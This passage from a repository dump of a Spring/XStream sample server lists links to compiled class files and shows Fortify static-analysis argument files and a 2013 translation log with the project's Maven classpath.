https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/ContactController.class -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/ContactConverter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/ContactConverter.class -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/ContactImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/ContactImpl.class -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/ContactRepository.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/ContactRepository.class -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/MyConverterLookup.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/MyConverterLookup.class -------------------------------------------------------------------------------- /target/sca-translate-java.txt: -------------------------------------------------------------------------------- 1 | "-version" "-verbose" "-quiet" "-b" "XStreamServer" "-logfile" "/Users/alvaro/Development/GitRepos/XStreamServer/target/sca-translate.log" "-source" "1.7" "-cp" "/Users/alvaro/.m2/repository/org/springframework/spring-core/3.2.0.RELEASE/spring-core-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar:/Users/alvaro/.m2/repository/org/springframework/spring-web/3.2.0.RELEASE/spring-web-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-context/3.2.0.RELEASE/spring-context-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-aop/3.2.0.RELEASE/spring-aop-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/aopalliance/aopalliance/1.0/aopalliance-1.0.jar:/Users/alvaro/.m2/repository/org/springframework/spring-beans/3.2.0.RELEASE/spring-beans-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.jar:/Users/alvaro/.m2/repository/javax/servlet/jsp/jsp-api/2.1/jsp-api-2.1.jar:/Users/alvaro/.m2/repository/org/springframework/spring-webmvc/3.2.0.RELEASE/spring-webmvc-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-expression/3.2.0.RELEASE/spring-expression-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/jstl/jstl/1.2/jstl-1.2.jar:/Users/alvaro/.m2/repository/org/springframework/data/spring-data-jpa/1.2.0.RELEASE/spring-data-jpa-1.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/data/spring-data-commons-core/1.4.0.RELEASE/spring-data-commons-core-1.4.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-orm/3.1.2.RELEASE/spring-orm-3.1.2.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-jdbc/3.1.2.RELEASE/spring-jdbc-3.1.2.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-tx/3.1.2.RELEASE/spring-tx-3.1.2.RELEASE.jar:/Users/alvaro/.m2/repository/org/slf4j/slf4j-api/1.6.1/slf4j-api-1.6.1.jar:/Users/alvaro/.m2/repository/org/aspectj/aspectjrt/1.6.12/aspectjrt-1.6.12.jar:/Users/alvaro/.m2/repository/org/hibernate/javax/persistence/hibernate-jpa-2.0-api/1.0.0.Final/hibernate-jpa-2.0-api-1.0.0.Final.jar:/Users/alvaro/.m2/repository/org/hibernate/hibernate-entitymanager/3.6.10.Final/hibernate-entitymanager-3.6.10.Final.jar:/Users/alvaro/.m2/repository/org/hibernate/hibernate-core/3.6.10.Final/hibernate-core-3.6.10.Final.jar:/Users/alvaro/.m2/repository/antlr/antlr/2.7.6/antlr-2.7.6.jar:/Users/alvaro/.m2/repository/commons-collections/commons-collections/3.1/commons-collections-3.1.jar:/Users/alvaro/.m2/repository/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar:/Users/alvaro/.m2/repository/org/hibernate/hibernate-commons-annotations/3.2.0.Final/hibernate-commons-annotations-3.2.0.Final.jar:/Users/alvaro/.m2/repository/javax/transaction/jta/1.1/jta-1.1.jar:/Users/alvaro/.m2/repository/cglib/cglib/2.2/cglib-2.2.jar:/Users/alvaro/.m2/repository/asm/asm/3.1/asm-3.1.jar:/Users/alvaro/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar:/Users/alvaro/.m2/repository/org/hsqldb/hsqldb/2.2.9/hsqldb-2.2.9.jar:/Users/alvaro/.m2/repository/org/json/json/20080701/json-20080701.jar:/Users/alvaro/.m2/repository/org/springframework/ws/spring-oxm/1.0.2/spring-oxm-1.0.2.jar:/Users/alvaro/.m2/repository/org/springframework/ws/spring-xml/1.0.2/spring-xml-1.0.2.jar:/Users/alvaro/.m2/repository/stax/stax-api/1.0.1/stax-api-1.0.1.jar:/Users/alvaro/.m2/repository/com/thoughtworks/xstream/xstream/1.4.6/xstream-1.4.6.jar:/Users/alvaro/.m2/repository/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar:/Users/alvaro/.m2/repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar" "-java-build-dir" "/Users/alvaro/Development/GitRepos/XStreamServer/target/classes" "/Users/alvaro/Development/GitRepos/XStreamServer/src/main/java" -------------------------------------------------------------------------------- /target/sca-translate-war.txt: -------------------------------------------------------------------------------- 1 | "-version" "-verbose" "-quiet" "-b" "XStreamServer" "-logfile" "/Users/alvaro/Development/GitRepos/XStreamServer/target/sca-translate.log" "-source" "1.7" "/Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer" "-cp" ":/Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer/WEB-INF/classes" "-extdirs" "/Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer/WEB-INF/lib" -------------------------------------------------------------------------------- /target/sca-translate.log: -------------------------------------------------------------------------------- 1 | [2013-12-24 10:39:18 Thread-12 Master INFO] 2 | Fortify Static Code Analyzer 6.00.0096 3 | [2013-12-24 10:39:18 Thread-12 Master INFO] 4 | Args: 5 | ["-64", "-version", "-verbose", "-quiet", "-b", "XStreamServer", "-logfile", "/Users/alvaro/Development/GitRepos/XStreamServer/target/sca-translate.log", "-source", "1.7", "-cp", "/Users/alvaro/.m2/repository/org/springframework/spring-core/3.2.0.RELEASE/spring-core-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar:/Users/alvaro/.m2/repository/org/springframework/spring-web/3.2.0.RELEASE/spring-web-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-context/3.2.0.RELEASE/spring-context-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-aop/3.2.0.RELEASE/spring-aop-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/aopalliance/aopalliance/1.0/aopalliance-1.0.jar:/Users/alvaro/.m2/repository/org/springframework/spring-beans/3.2.0.RELEASE/spring-beans-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.jar:/Users/alvaro/.m2/repository/javax/servlet/jsp/jsp-api/2.1/jsp-api-2.1.jar:/Users/alvaro/.m2/repository/org/springframework/spring-webmvc/3.2.0.RELEASE/spring-webmvc-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-expression/3.2.0.RELEASE/spring-expression-3.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/jstl/jstl/1.2/jstl-1.2.jar:/Users/alvaro/.m2/repository/org/springframework/data/spring-data-jpa/1.2.0.RELEASE/spring-data-jpa-1.2.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/data/spring-data-commons-core/1.4.0.RELEASE/spring-data-commons-core-1.4.0.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-orm/3.1.2.RELEASE/spring-orm-3.1.2.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-jdbc/3.1.2.RELEASE/spring-jdbc-3.1.2.RELEASE.jar:/Users/alvaro/.m2/repository/org/springframework/spring-tx/3.1.2.RELEASE/spring-tx-3.1.2.RELEASE.jar:/Users/alvaro/.m2/repository/org/slf4j/slf4j-api/1.6.1/slf4j-api-1.6.1.jar:/Users/alvaro/.m2/repository/org/aspectj/aspectjrt/1.6.12/aspectjrt-1.6.12.jar:/Users/alvaro/.m2/repository/org/hibernate/javax/persistence/hibernate-jpa-2.0-api/1.0.0.Final/hibernate-jpa-2.0-api-1.0.0.Final.jar:/Users/alvaro/.m2/repository/org/hibernate/hibernate-entitymanager/3.6.10.Final/hibernate-entitymanager-3.6.10.Final.jar:/Users/alvaro/.m2/repository/org/hibernate/hibernate-core/3.6.10.Final/hibernate-core-3.6.10.Final.jar:/Users/alvaro/.m2/repository/antlr/antlr/2.7.6/antlr-2.7.6.jar:/Users/alvaro/.m2/repository/commons-collections/commons-collections/3.1/commons-collections-3.1.jar:/Users/alvaro/.m2/repository/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar:/Users/alvaro/.m2/repository/org/hibernate/hibernate-commons-annotations/3.2.0.Final/hibernate-commons-annotations-3.2.0.Final.jar:/Users/alvaro/.m2/repository/javax/transaction/jta/1.1/jta-1.1.jar:/Users/alvaro/.m2/repository/cglib/cglib/2.2/cglib-2.2.jar:/Users/alvaro/.m2/repository/asm/asm/3.1/asm-3.1.jar:/Users/alvaro/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar:/Users/alvaro/.m2/repository/org/hsqldb/hsqldb/2.2.9/hsqldb-2.2.9.jar:/Users/alvaro/.m2/repository/org/json/json/20080701/json-20080701.jar:/Users/alvaro/.m2/repository/org/springframework/ws/spring-oxm/1.0.2/spring-oxm-1.0.2.jar:/Users/alvaro/.m2/repository/org/springframework/ws/spring-xml/1.0.2/spring-xml-1.0.2.jar:/Users/alvaro/.m2/repository/stax/stax-api/1.0.1/stax-api-1.0.1.jar:/Users/alvaro/.m2/repository/com/thoughtworks/xstream/xstream/1.4.6/xstream-1.4.6.jar:/Users/alvaro/.m2/repository/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar:/Users/alvaro/.m2/repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar", "-java-build-dir", "/Users/alvaro/Development/GitRepos/XStreamServer/target/classes", "/Users/alvaro/Development/GitRepos/XStreamServer/src/main/java"] 6 | [2013-12-24 10:39:18 Thread-12 Master INFO] 7 | VM Args: 8 | "-Dcom.sun.management.jmxremote=true -XX:SoftRefLRUPolicyMSPerMB=100 -Xmx8000M -Xss1M -Xms300M -client -d64" 9 | [2013-12-24 10:39:19 Thread-12 Master INFO] 10 | Translating 4 java files 11 | [2013-12-24 10:39:19 Thread-12 Master INFO 1450] 12 | Processing /Users/alvaro/Development/GitRepos/XStreamServer/src/main/java/org/pwntester/springserver/Contact.java 13 | [2013-12-24 10:39:19 Thread-12 Master INFO 1450] 14 | Processing /Users/alvaro/Development/GitRepos/XStreamServer/src/main/java/org/pwntester/springserver/ContactController.java 15 | [2013-12-24 10:39:19 Thread-12 Master INFO 1450] 16 | Processing /Users/alvaro/Development/GitRepos/XStreamServer/src/main/java/org/pwntester/springserver/ContactImpl.java 17 | [2013-12-24 10:39:19 Thread-12 Master INFO 1450] 18 | Processing /Users/alvaro/Development/GitRepos/XStreamServer/src/main/java/org/pwntester/springserver/ContactRepository.java 19 | [2013-12-24 10:39:19 Thread-12 Master INFO] 20 | Front End complete 21 | [2013-12-24 10:39:22 Thread-12 Master WARNING 101] 22 | File /Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer not found 23 | [2013-12-24 10:39:22 Thread-12 Master INFO] 24 | Fortify Static Code Analyzer 6.00.0096 25 | [2013-12-24 10:39:22 Thread-12 Master INFO] 26 | Args: 27 | ["-64", "-version", "-verbose", "-quiet", "-b", "XStreamServer", "-logfile", "/Users/alvaro/Development/GitRepos/XStreamServer/target/sca-translate.log", "-source", "1.7", "/Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer", "-cp", ":/Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer/WEB-INF/classes", "-extdirs", "/Users/alvaro/Development/GitRepos/XStreamServer/target/SpringServer/WEB-INF/lib"] 28 | [2013-12-24 10:39:22 Thread-12 Master INFO] 29 | VM Args: 30 | "-Dcom.sun.management.jmxremote=true -XX:SoftRefLRUPolicyMSPerMB=100 -Xmx8000M -Xss1M -Xms300M -client -d64" 31 | [2013-12-24 10:39:22 Thread-12 Master INFO] 32 | Front End complete 33 | --------------------------------------------------------------------------------